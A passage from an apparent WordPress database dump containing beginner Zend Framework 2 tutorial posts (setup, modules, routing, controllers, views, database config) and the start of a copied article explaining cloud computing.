Zend\\Db\\TableGateway\\TableGateway;</b>\r\n\r\nThis method returns an array of factories that are all merged together by the ModuleManager before passing to the ServiceManager. The factory for User\\Model\\UserTable uses the ServiceManager to create an UserTableGateway to pass to the UserTable. We also tell the ServiceManager that an UserTableGateway is created by getting a Zend\\Db\\Adapter\\Adapter (also from the ServiceManager) and using it to create a TableGateway object.\r\n\r\nFinally, we need to configure the ServiceManager so that it knows how to get a Zend\\Db\\Adapter\\Adapter. This is done using a factory called Zend\\Db\\Adapter\\AdapterServiceFactory which we can configure within the merged config system. Zend Framework 2’s ModuleManager merges all the configuration from each module’s module.config.php file and then merges in the files in config/autoload (*.global.php and then *.local.php files). We’ll add our database configuration information to global.php\r\n\r\nModify config/autoload/global.php (in the Zendy Skeleton root ie.. zendy/config/autoload/global.php) with the following code:\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>return array(</b>\r\n\r\n<b>    \'db\' =&gt; array(</b>\r\n\r\n<b>        \'driver\'         =&gt; \'Pdo\',</b>\r\n\r\n<b>        \'dsn\'            =&gt; \'mysql:dbname=cruddb;host=localhost\',</b>\r\n\r\n<b>        \'username\' =&gt; \'root\',\r\n\'password\' =&gt; \'\',\r\n\'driver_options\' =&gt; array(</b>\r\n\r\n<b>            PDO::MYSQL_ATTR_INIT_COMMAND =&gt; \'SET NAMES \\\'UTF8\\\'\'</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>    \'service_manager\' =&gt; array(</b>\r\n\r\n<b>        \'factories\' =&gt; array(</b>\r\n\r\n<b>            \'Zend\\Db\\Adapter\\Adapter\'</b>\r\n\r\n<b>                    =&gt; \'Zend\\Db\\Adapter\\AdapterServiceFactory\',</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>);</b>\r\n\r\n<b>?&gt;\r\n\r\n</b><b>11.Back to the Controller:</b>\r\n\r\nNow that the ServiceManager can create an UserTable instance for us, we can add a method to the controller to retrieve it. Add getUserTable() to the UserController class:\r\n\r\nOpen the file: module/User/src/User/Controller/UserController.php:\r\n\r\n<b>    public function getUserTable()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        if (!$this-&gt;userTable) {</b>\r\n\r\n<b>            $sm = $this-&gt;getServiceLocator();</b>\r\n\r\n<b>            $this-&gt; userTable = $sm-&gt;get(\'User\\Model\\UserTable\');</b>\r\n\r\n<b>        }</b>\r\n\r\n<b>        return $this-&gt;userTable;</b>\r\n\r\n<b>    }</b>\r\n\r\nAnd this line at the top of the class\r\n\r\n<b>protected $userTable;</b>\r\n\r\nNow we can  call getUserTable() from within our controller whenever we need to interact with our model.\r\n\r\nIf the service locator was configured correctly in Module.php, then we should get an instance of User\\Model\\UserTable when calling getUserTable()\r\n\r\nModify this indexAction in the UserController.php in the module/User/src/User/Controller with this code:\r\n\r\n<b> public function indexAction()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        return new ViewModel(array(</b>\r\n\r\n<b>            \'users\' =&gt; $this-&gt;getUserTable()-&gt;fetchAll(),</b>\r\n\r\n<b>        ));</b>\r\n\r\n<b>    }</b>\r\n\r\nModify the index.phtml in the module/User/view/User/User/ with the following code :\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>$title = \'Registered Users\';</b>\r\n\r\n<b>$this-&gt;headTitle($title);</b>\r\n\r\n<b>?&gt;</b>\r\n\r\n<b>&lt;h1&gt;&lt;?php echo $this-&gt;escapeHtml($title); ?&gt;&lt;/h1&gt;</b>\r\n\r\n<b>&lt;p&gt;</b>\r\n\r\n<b>    &lt;a href=\"&lt;?php echo $this-&gt;url(\'user\', array(\'action\'=&gt;\'add\'));?&gt;\"&gt;Add new user&lt;/a&gt;</b>\r\n\r\n<b>&lt;/p&gt;</b>\r\n\r\n<b>&lt;table class=\"table\"&gt;</b>\r\n\r\n<b>&lt;tr&gt;</b>\r\n\r\n<b>    &lt;th&gt;Name&lt;/th&gt;</b>\r\n\r\n<b>    &lt;th&gt;PetName&lt;/th&gt;</b>\r\n\r\n<b>    &lt;th&gt;&amp;nbsp;&lt;/th&gt;</b>\r\n\r\n<b>&lt;/tr&gt;</b>\r\n\r\n<b>&lt;?php foreach ($users as $user) : ?&gt;</b>\r\n\r\n<b>&lt;tr&gt;</b>\r\n\r\n<b>    &lt;td&gt;&lt;?php echo $this-&gt;escapeHtml($user-&gt;name);?&gt;&lt;/td&gt;</b>\r\n\r\n<b>    &lt;td&gt;&lt;?php echo $this-&gt;escapeHtml($user-&gt;petname);?&gt;&lt;/td&gt;</b>\r\n\r\n<b>    &lt;td&gt;</b>\r\n\r\n<b>        &lt;a href=\"&lt;?php echo $this-&gt;url(\'user\',</b>\r\n\r\n<b>            array(\'action\'=&gt;\'edit\', \'id\' =&gt; $user-&gt;id));?&gt;\"&gt;Edit&lt;/a&gt;</b>\r\n\r\n<b>        &lt;a href=\"&lt;?php echo $this-&gt;url(\'user\',</b>\r\n\r\n<b>            array(\'action\'=&gt;\'delete\', \'id\' =&gt; $user-&gt;id));?&gt;\"&gt;Delete&lt;/a&gt;</b>\r\n\r\n<b>    &lt;/td&gt;</b>\r\n\r\n<b>&lt;/tr&gt;</b>\r\n\r\n<b>&lt;?php endforeach; ?&gt;</b>\r\n\r\n<b>&lt;/table&gt;</b>\r\n\r\nFinally Open your browser and type the url like this “zendy.local/user”\r\nThen you will see the list of registered users.','Zendframework 2 tutorial part 4','','inherit','open','open','','75-revision-v1','','','2014-07-21 08:00:53','2014-07-21 08:00:53','',75,'http://localhost/yalavarthitechnologies/blog/?p=81',0,'revision','',0),(83,1,'2014-07-21 08:05:10','2014-07-21 08:05:10','<strong>Summary:</strong>\r\n\r\n<b>5.Routing</b>\r\n\r\nThe mapping of a URL to a particular action is done using routes that are defined in the module’s <b>module.config.php</b> file. We will add a route for our user actions. This is the updated module config file with the new code highlighted.\r\n\r\n&lt;?php\r\n\r\nreturn array(\r\n\r\n\'controllers\' =&gt; array(\r\n\r\n\'invokables\' =&gt; array(\r\n\r\n\'User\\Controller\\User\' =&gt; \'User\\Controller\\UserController\',\r\n\r\n),\r\n\r\n),\r\n\r\n// The following section is new and should be added to your file\r\n\r\n\'router\' =&gt; array(\r\n\r\n\'routes\' =&gt; array(\r\n\r\n\'user\' =&gt; array(\r\n\r\n\'type\'    =&gt; \'segment\',\r\n\r\n\'options\' =&gt; array(\r\n\r\n\'route\'    =&gt; \'/user[/][:action][/:id]\',\r\n\r\n\'constraints\' =&gt; array(\r\n\r\n\'action\' =&gt; \'[a-zA-Z][a-zA-Z0-9_-]*\',\r\n\r\n\'id\'     =&gt; \'[0-9]+\',\r\n\r\n),\r\n\r\n\'defaults\' =&gt; array(\r\n\r\n\'controller\' =&gt; \'User\\Controller\\User\',\r\n\r\n\'action\'     =&gt; \'index\',\r\n\r\n),\r\n\r\n),\r\n\r\n),\r\n\r\n),\r\n\r\n),\r\n\r\n\'view_manager\' =&gt; array(\r\n\r\n\'template_path_stack\' =&gt; array(\r\n\r\n\'user\' =&gt; __DIR__ . \'/../view\',\r\n\r\n),\r\n\r\n),\r\n\r\n);\r\n\r\n?&gt;\r\n\r\nIn this case, the route is <b>``/user[/:action][/:id]``</b> which will match any URL that starts with /user. The next segment will be an optional action name, and then finally the next segment will be mapped to an optional id. The square brackets indicate that a segment is optional. The constraints section allows us to ensure that the characters within a segment are as expected, so we have limited actions to starting with a letter and then subsequent characters only being alphanumeric, underscore or hyphen. We also limit the id to a number.\r\n\r\nNow this route allows us to have the following urls\r\n\r\nURL                                        Page                                                    Action\r\n\r\n/user                                         Home                                                  index\r\n\r\n/user/add                                 Add new user                                     add\r\n\r\n/user/edit/1                              Eidt user with id 1                              edit\r\n\r\n/user/delete/1                           Delete user with id 1                           delete\r\n\r\n<b>6.Creating the controllers</b>\r\n\r\nWe are now ready to set up our controller. The controller is a class that is generally called {Controller name}Controller. Note that {Controller name} must start with a capital letter. This class lives in a file called {Controller name}Controller.php within the Controller directory for the module.\r\n\r\nIn our case that is module/User/src/User/Controller. Each action is a public method within the controller class that is named {action name}Action. In this case {action name} should start with a lower case letter.\r\n\r\n<b>&lt;?php\r\nnamespace User\\Controller;</b>\r\n\r\n<b>use Zend\\Mvc\\Controller\\AbstractActionController;</b>\r\n\r\n<b>use Zend\\View\\Model\\ViewModel;</b>\r\n\r\n<b>class UserController extends AbstractActionController</b>\r\n\r\n<b>{</b>\r\n\r\n<b>    public function indexAction()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>    } </b>\r\n\r\n<b>    public function addAction()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>    } </b>\r\n\r\n<b>    public function editAction()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>    } </b>\r\n\r\n<b>    public function deleteAction()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>    }</b>\r\n\r\n<b>}</b>\r\n\r\nWe already informed about the controller to the module in the controller section of module/User/config/module.config.php\r\nThese actions won\'t work until we set up the views. Now its time to build the views.\r\n\r\n<b>7.Build the view scripts</b>\r\n\r\nTo integrate the view into our application all we need to do is create some view script files. These files will be executed by the DefaultViewStrategy and will be passed any variables or view models that are returned from the controller action method. These view scripts are stored in our module’s views directory within a directory named after the controller.\r\n\r\nCreate four view scripts(index.phtml,add.phtml,edit.phtml,delete.phtml) with the following content\r\n\r\n1.index.phtml    &lt;h1&gt; Welcome to index page &lt;/h1&gt;\r\n\r\n2.add.phtml    &lt;h1&gt; Welcome to add page &lt;/h1&gt;\r\n\r\n3.edit.phtml    &lt;h1&gt; Welcome to edit page &lt;/h1&gt;\r\n\r\n1.delete.phtml    &lt;h1&gt; Welcome to delete page &lt;/h1&gt;\r\n\r\nThats all.....\r\n\r\n<b>Go to the browser type the urls like this for</b>\r\n\r\nindex  ---- &gt; zendy.local/user\r\n\r\nadd  ---- &gt; zendy.local/user/add\r\n\r\nedit  ---- &gt; zendy.local/user/edit\r\n\r\ndelete  ---- &gt; zendy.local/user/delete','Zendframework 2 tutorial part 3','','publish','open','open','','zendframework-2-tutorial-part-3','','','2014-07-21 08:05:10','2014-07-21 08:05:10','',0,'http://localhost/yalavarthitechnologies/blog/?p=83',0,'post','',0),(84,1,'2014-07-21 08:05:10','2014-07-21 08:05:10','<strong>Summary:</strong>\r\n\r\n<b>5.Routing</b>\r\n\r\nThe mapping of a URL to a particular action is done using routes that are defined in the module’s <b>module.config.php</b> file. We will add a route for our user actions. This is the updated module config file with the new code highlighted.\r\n\r\n&lt;?php\r\n\r\nreturn array(\r\n\r\n\'controllers\' =&gt; array(\r\n\r\n\'invokables\' =&gt; array(\r\n\r\n\'User\\Controller\\User\' =&gt; \'User\\Controller\\UserController\',\r\n\r\n),\r\n\r\n),\r\n\r\n// The following section is new and should be added to your file\r\n\r\n\'router\' =&gt; array(\r\n\r\n\'routes\' =&gt; array(\r\n\r\n\'user\' =&gt; array(\r\n\r\n\'type\'    =&gt; \'segment\',\r\n\r\n\'options\' =&gt; array(\r\n\r\n\'route\'    =&gt; \'/user[/][:action][/:id]\',\r\n\r\n\'constraints\' =&gt; array(\r\n\r\n\'action\' =&gt; \'[a-zA-Z][a-zA-Z0-9_-]*\',\r\n\r\n\'id\'     =&gt; \'[0-9]+\',\r\n\r\n),\r\n\r\n\'defaults\' =&gt; array(\r\n\r\n\'controller\' =&gt; \'User\\Controller\\User\',\r\n\r\n\'action\'     =&gt; \'index\',\r\n\r\n),\r\n\r\n),\r\n\r\n),\r\n\r\n),\r\n\r\n),\r\n\r\n\'view_manager\' =&gt; array(\r\n\r\n\'template_path_stack\' =&gt; array(\r\n\r\n\'user\' =&gt; __DIR__ . \'/../view\',\r\n\r\n),\r\n\r\n),\r\n\r\n);\r\n\r\n?&gt;\r\n\r\nIn this case, the route is <b>``/user[/:action][/:id]``</b> which will match any URL that starts with /user. The next segment will be an optional action name, and then finally the next segment will be mapped to an optional id. The square brackets indicate that a segment is optional. The constraints section allows us to ensure that the characters within a segment are as expected, so we have limited actions to starting with a letter and then subsequent characters only being alphanumeric, underscore or hyphen. We also limit the id to a number.\r\n\r\nNow this route allows us to have the following urls\r\n\r\nURL                                        Page                                                    Action\r\n\r\n/user                                         Home                                                  index\r\n\r\n/user/add                                 Add new user                                     add\r\n\r\n/user/edit/1                              Eidt user with id 1                              edit\r\n\r\n/user/delete/1                           Delete user with id 1                           delete\r\n\r\n<b>6.Creating the controllers</b>\r\n\r\nWe are now ready to set up our controller. The controller is a class that is generally called {Controller name}Controller. Note that {Controller name} must start with a capital letter. This class lives in a file called {Controller name}Controller.php within the Controller directory for the module.\r\n\r\nIn our case that is module/User/src/User/Controller. Each action is a public method within the controller class that is named {action name}Action. In this case {action name} should start with a lower case letter.\r\n\r\n<b>&lt;?php\r\nnamespace User\\Controller;</b>\r\n\r\n<b>use Zend\\Mvc\\Controller\\AbstractActionController;</b>\r\n\r\n<b>use Zend\\View\\Model\\ViewModel;</b>\r\n\r\n<b>class UserController extends AbstractActionController</b>\r\n\r\n<b>{</b>\r\n\r\n<b>    public function indexAction()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>    } </b>\r\n\r\n<b>    public function addAction()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>    } </b>\r\n\r\n<b>    public function editAction()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>    } </b>\r\n\r\n<b>    public function deleteAction()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>    }</b>\r\n\r\n<b>}</b>\r\n\r\nWe already informed about the controller to the module in the controller section of module/User/config/module.config.php\r\nThese actions won\'t work until we set up the views. Now its time to build the views.\r\n\r\n<b>7.Build the view scripts</b>\r\n\r\nTo integrate the view into our application all we need to do is create some view script files. These files will be executed by the DefaultViewStrategy and will be passed any variables or view models that are returned from the controller action method. These view scripts are stored in our module’s views directory within a directory named after the controller.\r\n\r\nCreate four view scripts(index.phtml,add.phtml,edit.phtml,delete.phtml) with the following content\r\n\r\n1.index.phtml    &lt;h1&gt; Welcome to index page &lt;/h1&gt;\r\n\r\n2.add.phtml    &lt;h1&gt; Welcome to add page &lt;/h1&gt;\r\n\r\n3.edit.phtml    &lt;h1&gt; Welcome to edit page &lt;/h1&gt;\r\n\r\n1.delete.phtml    &lt;h1&gt; Welcome to delete page &lt;/h1&gt;\r\n\r\nThats all.....\r\n\r\n<b>Go to the browser type the urls like this for</b>\r\n\r\nindex  ---- &gt; zendy.local/user\r\n\r\nadd  ---- &gt; zendy.local/user/add\r\n\r\nedit  ---- &gt; zendy.local/user/edit\r\n\r\ndelete  ---- &gt; zendy.local/user/delete','Zendframework 2 tutorial part 3','','inherit','open','open','','83-revision-v1','','','2014-07-21 08:05:10','2014-07-21 08:05:10','',83,'http://localhost/yalavarthitechnologies/blog/?p=84',0,'revision','',0),(85,1,'2014-07-21 08:58:53','2014-07-21 08:58:53','<strong>Summary:</strong>\r\n\r\n<b>Creating Modules:</b>\r\n\r\n<b>1. Create a New Module under the module folder with the following structure(By default you will have one Application module)</b>\r\n\r\n<b>Project/</b>\r\n\r\n<b>            /module</b>\r\n\r\n<b>                        /ModuleName</b>\r\n\r\n<b>                                    /config</b>\r\n\r\n<b>                                    /src</b>\r\n\r\n<b>                                                </b><b>/ModuelName</b>\r\n\r\n/Controller\r\n\r\n/Form\r\n\r\n/Model\r\n\r\n<b>                                    /view</b>\r\n\r\n/<b>ModuleName</b>\r\n\r\n/controllerName  <b>              </b>\r\n\r\nFor my project this is the module structure for User Module\r\n\r\n<b>Zendy/</b>\r\n\r\n<b>            /module</b>\r\n\r\n<b>                        / User</b>\r\n\r\n<b>                                    /config</b>\r\n\r\n<b>                                    /src      </b>\r\n\r\n<b>                                                </b><b>/ User</b>\r\n\r\n<b>                                                            </b>/Controller\r\n\r\n/Form\r\n\r\n/Model\r\n\r\n<b>                                    /view</b>\r\n\r\n<b>                                                </b><b>/ User</b>\r\n\r\n<b>                                            </b>/ User (controllerName)\r\n\r\n&nbsp;\r\n\r\nIn order to load and configure a module, Zend Framework 2 has a ModuleManager. This will look for Module.php in the root of the module directory (module/User) and expect to find a class called User\\Module within it. That is, the classes within a given module will have the namespace of the module’s name, which is the directory name of the module.\r\n\r\n<b>2.Create Module.php under module/ User with the following code</b>\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>namespace User;</b>\r\n\r\n<b>class Module</b>\r\n\r\n<b>{</b>\r\n\r\n<b>    public function getAutoloaderConfig()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        return array(</b>\r\n\r\n<b>            \'Zend\\Loader\\StandardAutoloader\' =&gt; array(</b>\r\n\r\n<b>                \'namespaces\' =&gt; array(</b>\r\n\r\n<b>                    __NAMESPACE__ =&gt; __DIR__ . \'/src/\' . __NAMESPACE__,</b>\r\n\r\n<b>                ),</b>\r\n\r\n<b>            ),</b>\r\n\r\n<b>        );</b>\r\n\r\n<b>    }</b>\r\n\r\n<b>    public function getConfig()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        return include __DIR__ . \'/config/module.config.php\';</b>\r\n\r\n<b>    }</b>\r\n\r\n<b>}</b>\r\n\r\n<b>?&gt;</b>\r\n\r\n<b>3.Create a file called module.config.php under module/User/config</b>\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>return array(</b>\r\n\r\n<b>    \'</b><b>controllers</b><b>\' =&gt; array(</b>\r\n\r\n<b>        \'invokables\' =&gt; array(</b>\r\n\r\n<b>            \'User\\Controller\\User\' =&gt; \'User\\Controller\\UserController\',</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>    \'</b><b>view_manager</b><b>\' =&gt; array(</b>\r\n\r\n<b>        \'template_path_stack\' =&gt; array(</b>\r\n\r\n<b>            \'user\' =&gt; __DIR__ . \'/../view\',</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>);</b>\r\n\r\n<b>?&gt;</b>\r\n\r\nWe need two initial sections: <b>controllers</b> and <b>view_manager</b>. The <b>controllers section</b> provides a list of all the controllers provided by the module. We will need one controller, User Controller, which we’ll reference as User\\Controller\\User . The controller key must be unique across all modules, so we prefix it with our module name.\r\n\r\nWithin the <b>view_manager</b> section, we add our view directory to the TemplatePathStack configuration. This will allow it to find the view scripts for the <b>User</b> module that are stored in our <b>view</b>/ directory.\r\n\r\n<b> 4. Informing the application about our new module  User</b>\r\n\r\nWe now need to tell the ModuleManager that this new module exists. Open the <b>config/application.config.php</b> file which is provided by the skeleton application. Update this file\r\n\r\n<b>&lt;?php\r\nreturn array(</b>\r\n\r\n<b>    \'modules\' =&gt; array(</b>\r\n\r\n<b>        \'Application\',</b>\r\n\r\n<b>        \'User\',                  // &lt;-- Add this line</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>    \'module_listener_options\' =&gt; array(</b>\r\n\r\n<b>        \'config_glob_paths\'    =&gt; array(</b>\r\n\r\n<b>            \'config/autoload/{,*.}{global,local}.php\',</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>        \'module_paths\' =&gt; array(</b>\r\n\r\n<b>            \'./module\',</b>\r\n\r\n<b>            \'./vendor\',</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>);</b>\r\n\r\n<b>?&gt;</b>','Zendframework 2 tutorial part 2','','publish','open','open','','zendframework-2-tutorial-part-2','','','2014-07-21 08:58:53','2014-07-21 08:58:53','',0,'http://localhost/yalavarthitechnologies/blog/?p=85',0,'post','',0),(86,1,'2014-07-21 08:58:53','2014-07-21 08:58:53','<strong>Summary:</strong>\r\n\r\n<b>Creating Modules:</b>\r\n\r\n<b>1. Create a New Module under the module folder with the following structure(By default you will have one Application module)</b>\r\n\r\n<b>Project/</b>\r\n\r\n<b>            /module</b>\r\n\r\n<b>                        /ModuleName</b>\r\n\r\n<b>                                    /config</b>\r\n\r\n<b>                                    /src</b>\r\n\r\n<b>                                                </b><b>/ModuelName</b>\r\n\r\n/Controller\r\n\r\n/Form\r\n\r\n/Model\r\n\r\n<b>                                    /view</b>\r\n\r\n/<b>ModuleName</b>\r\n\r\n/controllerName  <b>              </b>\r\n\r\nFor my project this is the module structure for User Module\r\n\r\n<b>Zendy/</b>\r\n\r\n<b>            /module</b>\r\n\r\n<b>                        / User</b>\r\n\r\n<b>                                    /config</b>\r\n\r\n<b>                                    /src      </b>\r\n\r\n<b>                                                </b><b>/ User</b>\r\n\r\n<b>                                                            </b>/Controller\r\n\r\n/Form\r\n\r\n/Model\r\n\r\n<b>                                    /view</b>\r\n\r\n<b>                                                </b><b>/ User</b>\r\n\r\n<b>                                            </b>/ User (controllerName)\r\n\r\n&nbsp;\r\n\r\nIn order to load and configure a module, Zend Framework 2 has a ModuleManager. This will look for Module.php in the root of the module directory (module/User) and expect to find a class called User\\Module within it. That is, the classes within a given module will have the namespace of the module’s name, which is the directory name of the module.\r\n\r\n<b>2.Create Module.php under module/ User with the following code</b>\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>namespace User;</b>\r\n\r\n<b>class Module</b>\r\n\r\n<b>{</b>\r\n\r\n<b>    public function getAutoloaderConfig()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        return array(</b>\r\n\r\n<b>            \'Zend\\Loader\\StandardAutoloader\' =&gt; array(</b>\r\n\r\n<b>                \'namespaces\' =&gt; array(</b>\r\n\r\n<b>                    __NAMESPACE__ =&gt; __DIR__ . \'/src/\' . __NAMESPACE__,</b>\r\n\r\n<b>                ),</b>\r\n\r\n<b>            ),</b>\r\n\r\n<b>        );</b>\r\n\r\n<b>    }</b>\r\n\r\n<b>    public function getConfig()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        return include __DIR__ . \'/config/module.config.php\';</b>\r\n\r\n<b>    }</b>\r\n\r\n<b>}</b>\r\n\r\n<b>?&gt;</b>\r\n\r\n<b>3.Create a file called module.config.php under module/User/config</b>\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>return array(</b>\r\n\r\n<b>    \'</b><b>controllers</b><b>\' =&gt; array(</b>\r\n\r\n<b>        \'invokables\' =&gt; array(</b>\r\n\r\n<b>            \'User\\Controller\\User\' =&gt; \'User\\Controller\\UserController\',</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>    \'</b><b>view_manager</b><b>\' =&gt; array(</b>\r\n\r\n<b>        \'template_path_stack\' =&gt; array(</b>\r\n\r\n<b>            \'user\' =&gt; __DIR__ . \'/../view\',</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>);</b>\r\n\r\n<b>?&gt;</b>\r\n\r\nWe need two initial sections: <b>controllers</b> and <b>view_manager</b>. The <b>controllers section</b> provides a list of all the controllers provided by the module. We will need one controller, User Controller, which we’ll reference as User\\Controller\\User . The controller key must be unique across all modules, so we prefix it with our module name.\r\n\r\nWithin the <b>view_manager</b> section, we add our view directory to the TemplatePathStack configuration. This will allow it to find the view scripts for the <b>User</b> module that are stored in our <b>view</b>/ directory.\r\n\r\n<b> 4. Informing the application about our new module  User</b>\r\n\r\nWe now need to tell the ModuleManager that this new module exists. Open the <b>config/application.config.php</b> file which is provided by the skeleton application. Update this file\r\n\r\n<b>&lt;?php\r\nreturn array(</b>\r\n\r\n<b>    \'modules\' =&gt; array(</b>\r\n\r\n<b>        \'Application\',</b>\r\n\r\n<b>        \'User\',                  // &lt;-- Add this line</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>    \'module_listener_options\' =&gt; array(</b>\r\n\r\n<b>        \'config_glob_paths\'    =&gt; array(</b>\r\n\r\n<b>            \'config/autoload/{,*.}{global,local}.php\',</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>        \'module_paths\' =&gt; array(</b>\r\n\r\n<b>            \'./module\',</b>\r\n\r\n<b>            \'./vendor\',</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>);</b>\r\n\r\n<b>?&gt;</b>','Zendframework 2 tutorial part 2','','inherit','open','open','','85-revision-v1','','','2014-07-21 08:58:53','2014-07-21 08:58:53','',85,'http://localhost/yalavarthitechnologies/blog/?p=86',0,'revision','',0),(88,1,'2014-07-21 09:03:23','2014-07-21 09:03:23','Zend Framework 2.2.4\r\n\r\n&nbsp;\r\n\r\n1. Download the skeleton application from\r\n\r\n<a href=\"https://github.com/zendframework/ZendSkeletonApplication\">https://github.com/zendframework/ZendSkeletonApplication</a>  --&gt; this is a zip file.\r\n\r\n<input type=\"text\" />\r\n\r\n2.Extract the downloaded the zip folder and place it in the root directory\r\n\r\nex: wamp/www/projectName\r\n\r\n&nbsp;\r\n\r\n3.Set the environment variable path with php path like “D:/wamp/bin/php/phpversion/”\r\n\r\n&nbsp;\r\n\r\n4.Open the command prompt---&gt;go to the root directory--&gt;\r\n\r\na. php composer.phar self-update\r\n\r\nb. php composer.phar install\r\n\r\n&nbsp;\r\n\r\nWhile installing you will get an error regarding openssl extension, for that go to the\r\n\r\na. Wamp/bin/apache/Apacheversion/php.ini --&gt;search for openssl --&gt; and uncomment it\r\n\r\nb. Wamp/bin/php/phpversion/php.ini ---&gt;serarch for openssl --&gt; and uncomment it.\r\n\r\n&nbsp;\r\n\r\nNow try for the command---&gt; php composer.phar install.\r\n\r\n&nbsp;\r\n\r\n5. Now open the Browser --&gt; run the zendfolder--&gt;you will see welcome to zenframework2.\r\n\r\nNow you have the following folder structure under Zendy folder.\r\n\r\nconfig --&gt; folder\r\n\r\ndata    --&gt;  folder\r\n\r\nmodule--&gt; folder\r\n\r\npublic--&gt;   folder\r\n\r\nvendor--&gt;  folder\r\n\r\n.php, .phar, .json ......files.','Zendframework2 tutorial part 1','','publish','open','open','','zendframework2-tutorial-part-1','','','2014-07-21 09:03:23','2014-07-21 09:03:23','',0,'http://localhost/yalavarthitechnologies/blog/?p=88',0,'post','',0),(89,1,'2014-07-21 09:03:23','2014-07-21 09:03:23','Zend Framework 2.2.4\r\n\r\n&nbsp;\r\n\r\n1. Download the skeleton application from\r\n\r\n<a href=\"https://github.com/zendframework/ZendSkeletonApplication\">https://github.com/zendframework/ZendSkeletonApplication</a>  --&gt; this is a zip file.\r\n\r\n<input type=\"text\" />\r\n\r\n2.Extract the downloaded the zip folder and place it in the root directory\r\n\r\nex: wamp/www/projectName\r\n\r\n&nbsp;\r\n\r\n3.Set the environment variable path with php path like “D:/wamp/bin/php/phpversion/”\r\n\r\n&nbsp;\r\n\r\n4.Open the command prompt---&gt;go to the root directory--&gt;\r\n\r\na. php composer.phar self-update\r\n\r\nb. php composer.phar install\r\n\r\n&nbsp;\r\n\r\nWhile installing you will get an error regarding openssl extension, for that go to the\r\n\r\na. Wamp/bin/apache/Apacheversion/php.ini --&gt;search for openssl --&gt; and uncomment it\r\n\r\nb. Wamp/bin/php/phpversion/php.ini ---&gt;serarch for openssl --&gt; and uncomment it.\r\n\r\n&nbsp;\r\n\r\nNow try for the command---&gt; php composer.phar install.\r\n\r\n&nbsp;\r\n\r\n5. Now open the Browser --&gt; run the zendfolder--&gt;you will see welcome to zenframework2.\r\n\r\nNow you have the following folder structure under Zendy folder.\r\n\r\nconfig --&gt; folder\r\n\r\ndata    --&gt;  folder\r\n\r\nmodule--&gt; folder\r\n\r\npublic--&gt;   folder\r\n\r\nvendor--&gt;  folder\r\n\r\n.php, .phar, .json ......files.','Zendframework2 tutorial part 1','','inherit','open','open','','88-revision-v1','','','2014-07-21 09:03:23','2014-07-21 09:03:23','',88,'http://localhost/yalavarthitechnologies/blog/?p=89',0,'revision','',0),(90,1,'2014-07-21 09:06:46','2014-07-21 09:06:46','<strong>Summary:</strong>\r\n\r\nsource:http://computer.howstuffworks.com/cloud-computing/\r\n\r\nLet\'s say you\'re an executive at a large corporation. Your particular responsibilities include making sure that all of your employees have the right hardware and software they need to do their jobs. Buying computers for everyone isn\'t enough -- you also have to purchase software or software licenses to give employees the tools they require. Whenever you have a new hire, you have to buy more software or make sure your current software license allows another user. It\'s so stressful that you find it difficult to go to sleep on your huge pile of money every night. Soon, there may be an alternative for executives like you. Instead of installing a suite of software for each computer, you\'d only have to load one application. That application would allow workers to log into a Web-based service which hosts all the programs the user would need for his or her job. Remote machines owned by another company would run everything from e-mail to word processing to complex data analysis programs. It\'s called cloud computing, and it could change the entire computer industry. In a cloud computing system, there\'s a significant workload shift. Local computers no longer have to do all the heavy lifting when it comes to running applications. The network of computers that make up the cloud handles them instead. Hardware and software demands on the user\'s side decrease. The only thing the user\'s computer needs to be able to run is the cloud computing system\'s interface software, which can be as simple as a Web browser, and the cloud\'s network takes care of the rest. There\'s a good chance you\'ve already used some form of cloud computing. If you have an e-mail account with a Web-based e-mail service like Hotmail, Yahoo! Mail or Gmail, then you\'ve had some experience with cloud computing. Instead of running an e-mail program on your computer, you log in to a Web e-mail account remotely. The software and storage for your account doesn\'t exist on your computer -- it\'s on the service\'s computer cloud. What makes up a cloud computing system? Find out in the next section.\r\n<h1>Cloud Computing Architecture</h1>\r\nWhen talking about a cloud computing system, it\'s helpful to divide it into two sections: the <strong>front end</strong> and the <strong>back end</strong>. They connect to each other through a <a href=\"http://computer.howstuffworks.com/home-network.htm\">network</a>, usually the <a href=\"http://computer.howstuffworks.com/internet/basics/internet-infrastructure.htm\">Internet</a>. The front end is the side the computer user, or client, sees. The back end is the \"cloud\" section of the system.\r\n\r\nThe front end includes the client\'s <a href=\"http://computer.howstuffworks.com/pc.htm\">computer</a> (or computer network) and the application required to access the cloud computing system. Not all cloud computing systems have the same user interface. Services like Web-based <a href=\"http://computer.howstuffworks.com/e-mail-messaging/email.htm\">e-mail</a> programs leverage existing Web browsers like Internet Explorer or <a 